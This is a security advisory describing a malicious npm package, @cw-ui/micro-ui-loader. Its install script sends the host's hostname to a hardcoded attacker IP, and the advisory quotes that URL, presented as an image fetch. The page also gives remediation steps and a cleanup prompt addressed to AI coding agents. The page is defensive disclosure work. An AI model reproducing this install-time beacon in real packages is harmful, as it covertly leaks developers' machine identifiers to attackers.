# MAL-2026-10557: Malicious code in @cw-ui/micro-ui-loader (npm)


- **Type:** Malicious package
- **Package:** `@cw-ui/micro-ui-loader` (npm)
- **Published:** 14 Jul 2026
- **Also known as:** GHSA-fq95-jj7h-pj3w

## What is MAL-2026-10557?

MAL-2026-10557 is a malicious package in @cw-ui/micro-ui-loader, published on 14 Jul 2026. 

### Official description

On `npm install`, postinstall.js reads the installer's hostname via `os.hostname()` and sends it as a query parameter to a hardcoded bare-IP HTTP endpoint: `http://37.60.255.218/skybackground.png?display=${encodeURIComponent(displayProfile)}`. The response is saved locally as `downloaded-image.jpg` as a cover story. The package's README advertises 'Simple Text Utils' for string operations (capitalize/reverse/wordCount), and `index.js` exports only `downloadImage` — neither matches the stated purpose. The `author` field is the placeholder 'Your Name'. The combination of hardcoded bare-IP destination, plain HTTP, install-time auto-execution, host-identifier exfiltration, README/behavior mismatch, and placeholder metadata is a recon beacon shape, not legitimate functionality. Installing this package leaks the host's identifier to an attacker-controlled IP without consent.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## What should I do about MAL-2026-10557?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-10557 is a malicious package: @cw-ui/micro-ui-loader (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-10557/ (Markdown: https://insights.sbomify.com/MAL-2026-10557/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-10557

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From sbomify Insights: https://insights.sbomify.com/MAL-2026-10557/
Summaries are generated and may contain mistakes; the official description above is the record.